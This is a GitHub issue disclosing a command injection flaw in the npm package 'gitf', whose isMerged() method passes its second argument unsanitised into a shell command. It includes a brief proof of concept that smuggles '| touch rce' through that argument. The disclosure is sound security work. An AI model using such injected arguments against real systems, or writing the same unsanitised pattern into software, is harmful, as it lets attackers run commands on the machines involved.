Skip to content

Potential command injection vulnerability in gitf #1

Open

Description

@xiaofen9

Hi,

We would like to report a potential security vulnerability.
The bug is introduced because the package-exported method isMerged() fails to sanitize its 2nd parameter and lets it flow into a sensitive command execution API.

Here is the proof of concept.

const lib = require('gitf');

var gitf = new lib();
gitf.isMerged("", "| touch rce", () => {})// a file named rce will be created

Please consider fixing it. thanks!

Activity

  1. changed the title [-]Potential command injection vulnerability in gift[/-] [+]Potential command injection vulnerability in gitf[/+] on Mar 4, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions